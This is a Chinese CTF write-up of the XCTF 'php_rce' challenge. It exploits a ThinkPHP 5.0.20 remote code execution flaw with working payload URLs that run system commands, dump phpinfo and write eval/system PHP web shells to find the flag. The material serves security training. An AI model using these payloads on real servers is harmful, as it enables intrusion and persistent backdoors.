XCTF php_rce

一.根据题目描述，猜测和php框架的RCE漏洞有关

　　1.进入实验环境发现果然网页使用的是ThinkPHP框架

　　

 

　　　　在url后面随便加点什么，通过报错信息，发现框架的版本为5.0.20，正好存在rce漏洞

　　

 

 

 

　　2.什么是rce漏洞？

　　远程命令执行 英文名称：RCE (remote code execution) ，简称RCE漏洞，是指用户通过浏览器提交执行命令，

　　由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令，

　　可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

　　3.rce的原理

　　由于开发人员编写源码，没有针对代码中可执行的特殊函数入口做过滤，导致客户端可以提交恶意构造语句提交，

　　并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval()，exec()等函数是该漏洞攻击成功的最主要原因。

　　4.漏洞的利用

　　1.利用system函数远程命令执行

　　http://111.198.29.45:41831/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

　　2.通过phpinfo函数写出phpinfo()的信息

　　http://111.198.29.45:41831/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

　　3.写入shell

　　http://111.198.29.45:41831/index.php?s=index/think\app/invokefunction&function=call_user_func_array

　　&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php highlight_file(__FILE__);@eval($_POST['test']);?>

　　*highlight_file() 函数对文件进行语法高亮显示  :

　　　　语法：highlight_file(filename,return), 本函数通过使用 PHP 语法高亮程序中定义的颜色，输出或返回包含在 filename 中的代码的语法高亮版本。

　　　　返回值：如果 return 参数被设置为 true，那么该函数会返回被高亮处理的代码，而不是输出它们。否则，若成功，则返回 true，失败则返回 false。

二.实验步骤

　　1.http://111.198.29.45:41831/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

　　果然能够执行phpinfo()函数执行的结果。

 

　　

 

 　　2.通过  

　　如果执行成功就返回文件的大小，即  http://111.198.29.45:41831/index.php?s=index/think\app/invokefunction&function=call_user_func_arra

　　y&vars[0]=file_put_contents&vars[1][]=test2.php&vars[1][]=<?php highlight_file(__FILE__);system($_GET['cmd']);?>

　　

 

 

 

 

 

 

　　我们去试着访问我们写进去的test2.php,     发现访问成功 ， 这时就可以通过一句话木马执行恶意的操作了。

 

　　

 

 

　　在通过  http://111.198.29.45:41831/test2.php?cmd=ls;  查看有哪些文件

 

 

　　

 

 

　　然后逐次向上查找

　　

 

 

 　　发现flag文件，试着访问一下,得出 flag

 

 

---

 

 

　　这里也可以通过  http://111.198.29.45:41831/test2.php?cmd=find%20/%20-name%20%22flag*%22     查找flag关键字。

　　

 

 

 　　以上是通过shell得到flag。

---

 

　　以下通过system得到flag,为了便于观察，没有对其url转码

　　http://111.198.29.45:41831/index.php?s=index/think\app/invokefunction&function=call_user_func_array

　　&vars[0]=system&vars[1][]=find / -name "flag*"